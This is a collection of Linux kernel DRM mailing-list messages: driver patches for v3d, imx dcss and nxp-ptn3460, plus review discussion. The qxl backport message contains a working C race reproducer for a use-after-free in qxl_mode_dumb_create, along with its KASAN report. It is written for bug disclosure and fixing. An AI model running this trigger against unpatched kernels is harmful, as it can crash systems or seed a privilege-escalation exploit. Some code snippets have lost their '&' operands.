 drivers/gpu/drm/v3d/v3d_debugfs.c | 20 ++--
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/drivers/gpu/drm/v3d/v3d_debugfs.c 
b/drivers/gpu/drm/v3d/v3d_debugfs.c
index f843a50d5dce..94eafcecc65b 100644
--- a/drivers/gpu/drm/v3d/v3d_debugfs.c
+++ b/drivers/gpu/drm/v3d/v3d_debugfs.c
@@ -62,9 +62,9 @@ static const struct v3d_reg_def v3d_core_reg_defs[] = {
REGDEF(33, 71, V3D_PTB_BPCA),
REGDEF(33, 71, V3D_PTB_BPCS),

-   REGDEF(33, 41, V3D_GMP_STATUS(33)),
-   REGDEF(33, 41, V3D_GMP_CFG(33)),
-   REGDEF(33, 41, V3D_GMP_VIO_ADDR(33)),
+   REGDEF(33, 42, V3D_GMP_STATUS(33)),
+   REGDEF(33, 42, V3D_GMP_CFG(33)),
+   REGDEF(33, 42, V3D_GMP_VIO_ADDR(33)),

REGDEF(33, 71, V3D_ERR_FDBGO),
REGDEF(33, 71, V3D_ERR_FDBGB),
@@ -74,13 +74,13 @@ static const struct v3d_reg_def v3d_core_reg_defs[] = {

 static const struct v3d_reg_def v3d_csd_reg_defs[] = {
REGDEF(41, 71, V3D_CSD_STATUS),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG0(41)),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG1(41)),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG2(41)),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG3(41)),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG4(41)),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG5(41)),
-   REGDEF(41, 41, V3D_CSD_CURRENT_CFG6(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG0(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG1(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG2(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG3(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG4(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG5(41)),
+   REGDEF(41, 42, V3D_CSD_CURRENT_CFG6(41)),
REGDEF(71, 71, V3D_CSD_CURRENT_CFG0(71)),
REGDEF(71, 71, V3D_CSD_CURRENT_CFG1(71)),
REGDEF(71, 71, V3D_CSD_CURRENT_CFG2(71)),
--
2.43.0

Re: [PATCH RFC v2 01/11] dt-bindings: gpu: Rename img,powervr to img,powervr-rogue

[Krzysztof Kozlowski]

On 08/01/2024 19:32, Andrew Davis wrote:
> Signed-off-by: Andrew Davis 
> ---
>  .../bindings/gpu/{img,powervr.yaml => img,powervr-rogue.yaml} | 4 ++--
>  MAINTAINERS   | 2 +-
>  2 files changed, 3 insertions(+), 3 deletions(-)

If you are renaming it, why not renaming to match compatible as we
usually expect?

Best regards,
Krzysztof

Re: [PATCH v2 0/2] Add waveshare 7inch touchscreen panel support

[neil . armstrong]

Hi,

On 09/01/2024 08:09, Shengyang Chen wrote:

This patchset adds waveshare 7inch touchscreen panel support
for the StarFive JH7110 SoC.


Could you precise which SKU you're referring to ? is it 19885 => 
https://www.waveshare.com/7inch-dsi-lcd.htm ?

Are you sure it requires different timings from the RPi one ? In the Waveshare
wiki it explicitly uses the rpi setup (vc4-kms-dsi-7inch) to drive it: 
https://www.waveshare.com/wiki/7inch_DSI_LCD

Neil




changes since v1:
- Rebased on tag v6.7.

patch 1:
- Gave up original changing.
- Changed the commit message.
- Add compatible in panel-simple.yaml

patch 2:
- Gave up original changing.
- Changed the commit message.
- Add new mode for the panel in panel-simple.c

v1: 
https://patchwork.kernel.org/project/dri-devel/cover/20231124104451.44271-1-shengyang.c...@starfivetech.com/

Shengyang Chen (2):
   dt-bindings: display: panel: panel-simple: Add compatible property for
 waveshare 7inch touchscreen panel
   gpu: drm: panel: panel-simple: add new display mode for waveshare
 7inch touchscreen panel

  .../bindings/display/panel/panel-simple.yaml  |  2 ++
  drivers/gpu/drm/panel/panel-simple.c  | 28 +++
  2 files changed, 30 insertions(+)

[PATCH 5.10 1/1] drm/qxl: fix UAF on handle creation

[Fedor Pchelkin]

From: Wander Lairson Costa 

commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream.

qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, );
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, );
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}

printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", 
args.handle);
gem_close(args.handle);
}
return NULL;
}

void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, ); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}

int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);

if(dri_fd == -1)
return -1;

pthread_t tid1;

if(pthread_create(,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}

This is a KASAN report:

==
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 
linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr 88801136c240 by task poc/515

CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:

__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 
linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff 
c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 
c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48

RSP: 002b:7ff500408ea8 EFLAGS: 0286 ORIG_RAX: 0010
RAX: ffda RBX:  RCX: 7ff5004ff5f7
RDX: 7ff500408ec0 RSI: c02064b2 RDI: 0003
RBP: 7ff500408ef0 R08:  R09: 002a
R10:  R11: 0286 R12: 7fff1c6cdafe
R13: 7fff1c6cdaff R14: 7ff500408fc0 R15: 00802000


Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 
linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 

[PATCH 5.10 0/1] drm/qxl: fix UAF on handle creation

[Fedor Pchelkin]

The bug `KASAN: slab-use-after-free in qxl_mode_dumb_create` is reproduced
on 5.10 stable branch.

The problem has been fixed by the following patch which can be cleanly
applied to 5.10. The fix is already included in all stable branches
starting from 5.15.

Link to the "failed to apply to 5.10" report [1].

[1]: https://lore.kernel.org/stable/2023082121-mumps-residency-9108@gregkh/

Re: [PATCH v3 3/4] usb: gadget: functionfs: Add DMABUF import interface

[Paul Cercueil]

Hi Daniel / Sima,

Le lundi 08 janvier 2024 à 20:19 +0100, Daniel Vetter a écrit :
> On Mon, Jan 08, 2024 at 05:27:33PM +0100, Paul Cercueil wrote:
> > Le lundi 08 janvier 2024 à 16:29 +0100, Daniel Vetter a écrit :
> > > On Mon, Jan 08, 2024 at 03:21:21PM +0100, Paul Cercueil wrote:
> > > > Hi Daniel (Sima?),
> > > > 
> > > > Le lundi 08 janvier 2024 à 13:39 +0100, Daniel Vetter a écrit :
> > > > > On Mon, Jan 08, 2024 at 01:00:55PM +0100, Paul Cercueil
> > > > > wrote:
> > > > > > +static void ffs_dmabuf_signal_done(struct ffs_dma_fence
> > > > > > *dma_fence, int ret)
> > > > > > +{
> > > > > > +   struct ffs_dmabuf_priv *priv = dma_fence->priv;
> > > > > > +   struct dma_fence *fence = _fence->base;
> > > > > > +
> > > > > > +   dma_fence_get(fence);
> > > > > > +   fence->error = ret;
> > > > > > +   dma_fence_signal(fence);
> > > > > > +
> > > > > > +   dma_buf_unmap_attachment(priv->attach, dma_fence-
> > > > > > >sgt,
> > > > > > dma_fence->dir);
> > > > > > +   dma_fence_put(fence);
> > > > > > +   ffs_dmabuf_put(priv->attach);
> > > > > 
> > > > > So this can in theory take the dma_resv lock, and if the usb
> > > > > completion
> > > > > isn't an unlimited worker this could hold up completion of
> > > > > future
> > > > > dma_fence, resulting in a deadlock.
> > > > > 
> > > > > Needs to be checked how usb works, and if stalling
> > > > > indefinitely
> > > > > in
> > > > > the
> > > > > io_complete callback can hold up the usb stack you need to:
> > > > > 
> > > > > - drop a dma_fence_begin/end_signalling annotations in here
> > > > > - pull out the unref stuff into a separate preallocated
> > > > > worker
> > > > > (or at
> > > > >   least the final unrefs for ffs_dma_buf).
> > > > 
> > > > Only ffs_dmabuf_put() can attempt to take the dma_resv and
> > > > would
> > > > have
> > > > to be in a worker, right? Everything else would be inside the
> > > > dma_fence_begin/end_signalling() annotations?
> > > 
> > > Yup. Also I noticed that unlike the iio patches you don't have
> > > the
> > > dma_buf_unmap here in the completion path (or I'm blind?), which
> > > helps a
> > > lot with avoiding trouble.
> > 
> > They both call dma_buf_unmap_attachment() in the "signal done"
> > callback, the only difference I see is that it is called after the
> > dma_fence_put() in the iio patches, while it's called before
> > dma_fence_put() here.
> 
> I was indeed blind ...
> 
> So the trouble is this wont work because:
> - dma_buf_unmap_attachment() requires dma_resv_lock. This is a
> somewhat
>   recent-ish change from 47e982d5195d ("dma-buf: Move
>   dma_buf_map_attachment() to dynamic locking specification"), so
> maybe
>   old kernel or you don't have full lockdep enabled to get the right
>   splat.
> 
> - dma_fence critical section forbids dma_resv_lock
> 
> Which means you need to move this out, but then there's the potential
> cache management issue. Which current gpu drivers just kinda ignore
> because it doesn't matter for current use-case, they all cache the
> mapping
> for about as long as the attachment exists. You might want to do the
> same,
> unless that somehow breaks a use-case you have, I have no idea about
> that.
> If something breaks with unmap_attachment moved out of the fence
> handling
> then I guess it's high time to add separate cache-management only to
> dma_buf (and that's probably going to be quite some wiring up, not
> sure
> even how easy that would be to do nor what exactly the interface
> should
> look like).

Ok. Then I'll just cache the mapping for now, I think.

> Cheers, Sima

Cheers,
-Paul

Re: [v2 1/2] dt-bindings: display: panel: Add Novatek NT36672E LCD DSI

[Krzysztof Kozlowski]

On 08/01/2024 11:07, Krzysztof Kozlowski wrote:
> On 08/01/2024 10:59, Ritesh Kumar wrote:
>> Document Novatek NT36672E FHD+ LCD DSI panel.
>>
>> Signed-off-by: Ritesh Kumar 
>>
>> ---
>> v2: Fixed review comments from Krzysztof
> 
> Please use standard email subjects, so with the PATCH keyword in the
> title. `git format-patch` helps here to create proper versioned patches.
> Another useful tool is b4. Skipping the PATCH keyword makes filtering of
> emails more difficult thus making the review process less convenient.

That was for the future (I understand making that mistake once with your
v1, but that's v2), no need to resend only for this.

Reviewed-by: Krzysztof Kozlowski 


---

This is an automated instruction, just in case, because many review tags
are being ignored. If you know the process, you can skip it (please do
not feel offended by me posting it here - no bad intentions intended).
If you do not know the process, here is a short explanation:

Please add Acked-by/Reviewed-by/Tested-by tags when posting new
versions, under or above your Signed-off-by tag. Tag is "received", when
provided in a message replied to you on the mailing list. Tools like b4
can help here. However, there's no need to repost patches *only* to add
the tags. The upstream maintainer will do that for tags received on the
version they apply.

https://elixir.bootlin.com/linux/v6.5-rc3/source/Documentation/process/submitting-patches.rst#L577

Best regards,
Krzysztof

[PATCH] drm/shmem-helper: Fix comment describing dma-buf mappings

[Jacek Lawrynowicz]

`shmem->map_wc was` set to `false` but the comment suggested WC was
enabled for imported buffers.

Signed-off-by: Jacek Lawrynowicz 
---
 drivers/gpu/drm/drm_gem_shmem_helper.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/gpu/drm/drm_gem_shmem_helper.c 
b/drivers/gpu/drm/drm_gem_shmem_helper.c
index e435f986cd13..1532f1766170 100644
--- a/drivers/gpu/drm/drm_gem_shmem_helper.c
+++ b/drivers/gpu/drm/drm_gem_shmem_helper.c
@@ -75,7 +75,7 @@ __drm_gem_shmem_create(struct drm_device *dev, size_t size, 
bool private)
 
if (private) {
drm_gem_private_object_init(dev, obj, size);
-   shmem->map_wc = false; /* dma-buf mappings use always 
writecombine */
+   shmem->map_wc = false; /* dma-buf mappings are never 
write-combined */
} else {
ret = drm_gem_object_init(dev, obj, size);
}
-- 
2.43.0

RE: [v2 1/2] dt-bindings: display: panel: Add Novatek NT36672E LCD DSI

[Ritesh Kumar (QUIC)]

>-Original Message-
>From: Krzysztof Kozlowski 
>Sent: Monday, January 8, 2024 3:38 PM
>To: Ritesh Kumar (QUIC) ; dri-
>de...@lists.freedesktop.org; devicet...@vger.kernel.org; linux-
>ker...@vger.kernel.org
>Cc: neil.armstr...@linaro.org; Jessica Zhang (QUIC)
>; s...@ravnborg.org;
>maarten.lankho...@linux.intel.com; mrip...@kernel.org;
>tzimmerm...@suse.de; airl...@gmail.com; dan...@ffwll.ch;
>robh...@kernel.org; krzysztof.kozlowski...@linaro.org; conor...@kernel.org;
>Abhinav Kumar (QUIC) ; Rajeev Nandan (QUIC)
>; Vishnuvardhan Prodduturi (QUIC)
>; sumit.sem...@linaro.org
>Subject: Re: [v2 1/2] dt-bindings: display: panel: Add Novatek NT36672E LCD
>DSI
>
>On 08/01/2024 10:59, Ritesh Kumar wrote:
>> Document Novatek NT36672E FHD+ LCD DSI panel.
>>
>> Signed-off-by: Ritesh Kumar 
>>
>> ---
>> v2: Fixed review comments from Krzysztof
>
>Please use standard email subjects, so with the PATCH keyword in the title. 
>`git
>format-patch` helps here to create proper versioned patches.
>Another useful tool is b4. Skipping the PATCH keyword makes filtering of emails
>more difficult thus making the review process less convenient.

I am using git format-patch only. I think the name of series is changed causing 
the trouble.

>
>>   - renamed to novatek,nt36672e, since the binding is for the IC and
>> not the panel.
>>   - moved additionalProperties after required.
>> ---
>>  .../display/panel/novatek,nt36672e.yaml   | 66 +++
>>  1 file changed, 66 insertions(+)
>>  create mode 100644
>> Documentation/devicetree/bindings/display/panel/novatek,nt36672e.yaml
>>
>> diff --git
>>
>a/Documentation/devicetree/bindings/display/panel/novatek,nt36672e.yam
>> l
>>
>b/Documentation/devicetree/bindings/display/panel/novatek,nt36672e.yam
>> l
>> new file mode 100644
>> index ..dc4672f3d01d
>> --- /dev/null
>> +++ b/Documentation/devicetree/bindings/display/panel/novatek,nt36672e
>> +++ .yaml
>> @@ -0,0 +1,66 @@
>> +# SPDX-License-Identifier: GPL-2.0-only OR BSD-2-Clause %YAML 1.2
>> +---
>> +$id:
>> +http://devicetree.org/schemas/display/panel/novatek,nt36672e.yaml#
>> +$schema: http://devicetree.org/meta-schemas/core.yaml#
>> +
>> +title: Novatek NT36672E LCD DSI Panel
>> +
>> +maintainers:
>> +  - Ritesh Kumar 
>> +
>> +allOf:
>> +  - $ref: panel-common.yaml#
>> +
>> +properties:
>> +  compatible:
>> +const: novatek,nt36672e
>> +
>> +  reg:
>> +maxItems: 1
>> +description: DSI virtual channel
>> +
>> +  vddi-supply: true
>> +  avdd-supply: true
>> +  avee-supply: true
>
>Are these names of pins? Somehow I have troubles believing that NT36672A
>and NT36672E have entirely different names for these...

Yes, these are name of pins.

Below is the Pin Description from NT36672E Datasheet:

vddi - Power supply to the I/O.
avdd - Positive input analog power for driver IC use.
avee - Negative input analog power for driver IC use.

I could not find datasheet of NT36672A online to compare  the names.

Thanks,
Ritesh

Re: [PATCH v6 0/7] VMware hypercalls enhancements

[Borislav Petkov]

On Tue, Jan 09, 2024 at 12:40:45AM -0800, Alexey Makhalov wrote:
> v5->v6 change:
> - Added ack by Kirill A. Shutemov in patch 7.

Please do not spam. Adding someone's Ack does not mean you have to
resend the whole thing immediately again.

While waiting, please read Documentation/process/submitting-patches.rst

and especially:

"Don't get discouraged - or impatient


After you have submitted your change, be patient and wait.  Reviewers are
busy people and may not get to your patch right away.

Once upon a time, patches used to disappear into the void without comment,
but the development process works more smoothly than that now.  You should
receive comments within a few weeks (typically 2-3); if that does not
happen, make sure that you have sent your patches to the right place.
Wait for a minimum of one week before resubmitting or pinging reviewers
- possibly longer during busy times like merge windows."

-- 
Regards/Gruss,
Boris.

https://people.kernel.org/tglx/notes-about-netiquette

[PATCH v2 2/2] drm/imx/dcss: have all init functions use devres

[Philipp Stanner]

dcss currently allocates and ioremaps quite a few resources in its probe
function's call graph. Devres now provides convenient functions which
perform the same task but do the cleanup automatically.

Port all memory allocations and ioremap() calls to the devres
counterparts.

Signed-off-by: Philipp Stanner 
---
 drivers/gpu/drm/imx/dcss/dcss-blkctl.c | 14 +++---
 drivers/gpu/drm/imx/dcss/dcss-ctxld.c  | 15 ---
 drivers/gpu/drm/imx/dcss/dcss-dev.c| 11 ++-
 drivers/gpu/drm/imx/dcss/dcss-dpr.c| 25 ++---
 drivers/gpu/drm/imx/dcss/dcss-drv.c| 12 +++-
 drivers/gpu/drm/imx/dcss/dcss-dtg.c| 23 ---
 drivers/gpu/drm/imx/dcss/dcss-scaler.c | 22 --
 drivers/gpu/drm/imx/dcss/dcss-ss.c | 11 +++
 8 files changed, 29 insertions(+), 104 deletions(-)

diff --git a/drivers/gpu/drm/imx/dcss/dcss-blkctl.c 
b/drivers/gpu/drm/imx/dcss/dcss-blkctl.c
index c9b54bb2692d..58e12ec65f80 100644
--- a/drivers/gpu/drm/imx/dcss/dcss-blkctl.c
+++ b/drivers/gpu/drm/imx/dcss/dcss-blkctl.c
@@ -41,15 +41,15 @@ void dcss_blkctl_cfg(struct dcss_blkctl *blkctl)
 int dcss_blkctl_init(struct dcss_dev *dcss, unsigned long blkctl_base)
 {
struct dcss_blkctl *blkctl;
+   struct device *dev = dcss->dev;
 
-   blkctl = kzalloc(sizeof(*blkctl), GFP_KERNEL);
+   blkctl = devm_kzalloc(dev, sizeof(*blkctl), GFP_KERNEL);
if (!blkctl)
return -ENOMEM;
 
-   blkctl->base_reg = ioremap(blkctl_base, SZ_4K);
+   blkctl->base_reg = devm_ioremap(dev, blkctl_base, SZ_4K);
if (!blkctl->base_reg) {
dev_err(dcss->dev, "unable to remap BLK CTRL base\n");
-   kfree(blkctl);
return -ENOMEM;
}
 
@@ -60,11 +60,3 @@ int dcss_blkctl_init(struct dcss_dev *dcss, unsigned long 
blkctl_base)
 
return 0;
 }
-
-void dcss_blkctl_exit(struct dcss_blkctl *blkctl)
-{
-   if (blkctl->base_reg)
-   iounmap(blkctl->base_reg);
-
-   kfree(blkctl);
-}
diff --git a/drivers/gpu/drm/imx/dcss/dcss-ctxld.c 
b/drivers/gpu/drm/imx/dcss/dcss-ctxld.c
index 3a84cb3209c4..444511d0f382 100644
--- a/drivers/gpu/drm/imx/dcss/dcss-ctxld.c
+++ b/drivers/gpu/drm/imx/dcss/dcss-ctxld.c
@@ -199,10 +199,11 @@ static int dcss_ctxld_alloc_ctx(struct dcss_ctxld *ctxld)
 
 int dcss_ctxld_init(struct dcss_dev *dcss, unsigned long ctxld_base)
 {
+   struct device *dev = dcss->dev;
struct dcss_ctxld *ctxld;
int ret;
 
-   ctxld = kzalloc(sizeof(*ctxld), GFP_KERNEL);
+   ctxld = devm_kzalloc(dev, sizeof(*ctxld), GFP_KERNEL);
if (!ctxld)
return -ENOMEM;
 
@@ -217,7 +218,7 @@ int dcss_ctxld_init(struct dcss_dev *dcss, unsigned long 
ctxld_base)
goto err;
}
 
-   ctxld->ctxld_reg = ioremap(ctxld_base, SZ_4K);
+   ctxld->ctxld_reg = devm_ioremap(dev, ctxld_base, SZ_4K);
if (!ctxld->ctxld_reg) {
dev_err(dcss->dev, "ctxld: unable to remap ctxld base\n");
ret = -ENOMEM;
@@ -226,18 +227,14 @@ int dcss_ctxld_init(struct dcss_dev *dcss, unsigned long 
ctxld_base)
 
ret = dcss_ctxld_irq_config(ctxld, to_platform_device(dcss->dev));
if (ret)
-   goto err_irq;
+   goto err;
 
dcss_ctxld_hw_cfg(ctxld);
 
return 0;
 
-err_irq:
-   iounmap(ctxld->ctxld_reg);
-
 err:
dcss_ctxld_free_ctx(ctxld);
-   kfree(ctxld);
 
return ret;
 }
@@ -246,11 +243,7 @@ void dcss_ctxld_exit(struct dcss_ctxld *ctxld)
 {
free_irq(ctxld->irq, ctxld);
 
-   if (ctxld->ctxld_reg)
-   iounmap(ctxld->ctxld_reg);
-
dcss_ctxld_free_ctx(ctxld);
-   kfree(ctxld);
 }
 
 static int dcss_ctxld_enable_locked(struct dcss_ctxld *ctxld)
diff --git a/drivers/gpu/drm/imx/dcss/dcss-dev.c 
b/drivers/gpu/drm/imx/dcss/dcss-dev.c
index 1f93313c89b7..206452cf98d6 100644
--- a/drivers/gpu/drm/imx/dcss/dcss-dev.c
+++ b/drivers/gpu/drm/imx/dcss/dcss-dev.c
@@ -109,8 +109,6 @@ static int dcss_submodules_init(struct dcss_dev *dcss)
dcss_ctxld_exit(dcss->ctxld);
 
 ctxld_err:
-   dcss_blkctl_exit(dcss->blkctl);
-
dcss_clocks_disable(dcss);
 
return ret;
@@ -190,7 +188,7 @@ struct dcss_dev *dcss_dev_create(struct device *dev, bool 
hdmi_output)
return ERR_PTR(-EBUSY);
}
 
-   dcss = kzalloc(sizeof(*dcss), GFP_KERNEL);
+   dcss = devm_kzalloc(dev, sizeof(*dcss), GFP_KERNEL);
if (!dcss)
return ERR_PTR(-ENOMEM);
 
@@ -201,7 +199,7 @@ struct dcss_dev *dcss_dev_create(struct device *dev, bool 
hdmi_output)
ret = dcss_clks_init(dcss);
if (ret) {
dev_err(dev, "clocks initialization failed\n");
-   goto err;
+   return ret;
}
 
dcss->of_port = of_graph_get_port_by_id(dev->of_node, 0);
@@ -233,9 +231,6 @@ struct dcss_dev *dcss_dev_create(struct device 

[PATCH v2 1/2] drm/dcss: request memory region

[Philipp Stanner]

The driver's memory regions are currently just ioremap()ed, but not
reserved through a request. That's not a bug, but having the request is
a little more robust.

Implement the region-request through the corresponding managed
devres-function.

Signed-off-by: Philipp Stanner 
---
 drivers/gpu/drm/imx/dcss/dcss-dev.c | 7 +++
 1 file changed, 7 insertions(+)

diff --git a/drivers/gpu/drm/imx/dcss/dcss-dev.c 
b/drivers/gpu/drm/imx/dcss/dcss-dev.c
index 4f3af0dfb344..1f93313c89b7 100644
--- a/drivers/gpu/drm/imx/dcss/dcss-dev.c
+++ b/drivers/gpu/drm/imx/dcss/dcss-dev.c
@@ -170,6 +170,7 @@ struct dcss_dev *dcss_dev_create(struct device *dev, bool 
hdmi_output)
struct resource *res;
struct dcss_dev *dcss;
const struct dcss_type_data *devtype;
+   resource_size_t res_len;
 
devtype = of_device_get_match_data(dev);
if (!devtype) {
@@ -183,6 +184,12 @@ struct dcss_dev *dcss_dev_create(struct device *dev, bool 
hdmi_output)
return ERR_PTR(-EINVAL);
}
 
+   res_len = res->end - res->start;
+   if (!devm_request_mem_region(pdev->dev, res->start, res_len, "dcss")) {
+   dev_err(dev, "cannot request memory region\n");
+   return ERR_PTR(-EBUSY);
+   }
+
dcss = kzalloc(sizeof(*dcss), GFP_KERNEL);
if (!dcss)
return ERR_PTR(-ENOMEM);
-- 
2.43.0

[PATCH v2 0/2] drm/imx/dcss: implement region request and devres

[Philipp Stanner]

dcss currently does not request its memory resource. This series adds
that request with devres. As we're at it, it also ports all the ioremaps
and associated allocations to devres.

I can build this, but I don't have the hardware available to test it. So
you might want to have a closer look.

P.

Philipp Stanner (2):
  drm/dcss: request memory region
  drm/imx/dcss: have all init functions use devres

 drivers/gpu/drm/imx/dcss/dcss-blkctl.c | 14 +++---
 drivers/gpu/drm/imx/dcss/dcss-ctxld.c  | 15 ---
 drivers/gpu/drm/imx/dcss/dcss-dev.c| 18 +-
 drivers/gpu/drm/imx/dcss/dcss-dpr.c| 25 ++---
 drivers/gpu/drm/imx/dcss/dcss-drv.c| 12 +++-
 drivers/gpu/drm/imx/dcss/dcss-dtg.c| 23 ---
 drivers/gpu/drm/imx/dcss/dcss-scaler.c | 22 --
 drivers/gpu/drm/imx/dcss/dcss-ss.c | 11 +++
 8 files changed, 36 insertions(+), 104 deletions(-)

-- 
2.43.0

Re: [PATCH v2] drm/bridge: nxp-ptn3460: switch to ->edid_read callback

[Jani Nikula]

On Tue, 09 Jan 2024, Jani Nikula  wrote:
> Prefer using the struct drm_edid based callback and functions.
>
> v2: Fix -Wsometimes-uninitialized (kernel test robot)
>
> Signed-off-by: Jani Nikula 

I fumbled and sent the v2 in reply to the wrong patch, and it'll
probably confuse all the build bots out there.

Anyway, I'd prefer not resending the entire series until there's been at
least some meaningful review.

BR,
Jani.

-- 
Jani Nikula, Intel

[PATCH v2] drm/bridge: nxp-ptn3460: switch to ->edid_read callback

[Jani Nikula]

Prefer using the struct drm_edid based callback and functions.

v2: Fix -Wsometimes-uninitialized (kernel test robot)

Signed-off-by: Jani Nikula 
---
 drivers/gpu/drm/bridge/nxp-ptn3460.c | 22 --
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/drivers/gpu/drm/bridge/nxp-ptn3460.c 
b/drivers/gpu/drm/bridge/nxp-ptn3460.c
index 7c0076e49953..ed93fd4c3265 100644
--- a/drivers/gpu/drm/bridge/nxp-ptn3460.c
+++ b/drivers/gpu/drm/bridge/nxp-ptn3460.c
@@ -154,10 +154,11 @@ static void ptn3460_disable(struct drm_bridge *bridge)
 }
 
 
-static struct edid *ptn3460_get_edid(struct drm_bridge *bridge,
-struct drm_connector *connector)
+static const struct drm_edid *ptn3460_edid_read(struct drm_bridge *bridge,
+   struct drm_connector *connector)
 {
struct ptn3460_bridge *ptn_bridge = bridge_to_ptn3460(bridge);
+   const struct drm_edid *drm_edid = NULL;
bool power_off;
u8 *edid;
int ret;
@@ -175,27 +176,28 @@ static struct edid *ptn3460_get_edid(struct drm_bridge 
*bridge,
 EDID_LENGTH);
if (ret) {
kfree(edid);
-   edid = NULL;
goto out;
}
 
+   drm_edid = drm_edid_alloc(edid, EDID_LENGTH);
+
 out:
if (power_off)
ptn3460_disable(_bridge->bridge);
 
-   return (struct edid *)edid;
+   return drm_edid;
 }
 
 static int ptn3460_connector_get_modes(struct drm_connector *connector)
 {
struct ptn3460_bridge *ptn_bridge = connector_to_ptn3460(connector);
-   struct edid *edid;
+   const struct drm_edid *drm_edid;
int num_modes;
 
-   edid = ptn3460_get_edid(_bridge->bridge, connector);
-   drm_connector_update_edid_property(connector, edid);
-   num_modes = drm_add_edid_modes(connector, edid);
-   kfree(edid);
+   drm_edid = ptn3460_edid_read(_bridge->bridge, connector);
+   drm_edid_connector_update(connector, drm_edid);
+   num_modes = drm_edid_connector_add_modes(connector);
+   drm_edid_free(drm_edid);
 
return num_modes;
 }
@@ -254,7 +256,7 @@ static const struct drm_bridge_funcs ptn3460_bridge_funcs = 
{
.pre_enable = ptn3460_pre_enable,
.disable = ptn3460_disable,
